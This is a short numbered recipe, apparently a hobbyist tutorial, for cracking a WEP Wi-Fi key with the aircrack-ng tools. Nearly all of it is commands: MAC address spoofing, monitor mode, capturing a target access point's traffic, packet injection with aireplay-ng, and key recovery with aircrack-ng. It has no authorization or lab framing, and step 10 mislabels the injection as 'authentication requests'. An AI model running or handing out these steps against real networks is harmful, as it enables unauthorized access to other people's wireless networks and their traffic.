1 Show wireless interface
ifconfig
2 Stop monitoring mode
airmon-ng stop [interface]
3 Shutdown wireless interface
ifconfig [interface] down
4 Change MAC-address wireless interface
macchanger –mac 00:11:22:33:44:55 [interface]
5 Start monitoring mode
airmon-ng start [interface]
6 Show available WIFI accesspoints
airodump-ng [interface]
7 Search for WEP WIFI accesspoints. Make a note with the following information
BSSID – Channel – ESSID
8 Capture data from WIFI accesspoint
airodump-ng -c [channel] -w [filename] –bssid [BSSID] [interface]
9 Open a new terminal
CTRL + ALT + T
10 Sent authentication requests to WIFI accesspoint
aireplay-ng -3 -b [BSSID] -h [Own MAC-address] [interface]
11 Go back to your other terminal. Watch the data (packets)
to crack WEP you need between 10,000 and 20,000 packets
12 Launch the crack
aircrack-ng -b [BSSID] [filename-01.cap]
13 Wait until the KEY is found.
Spannend!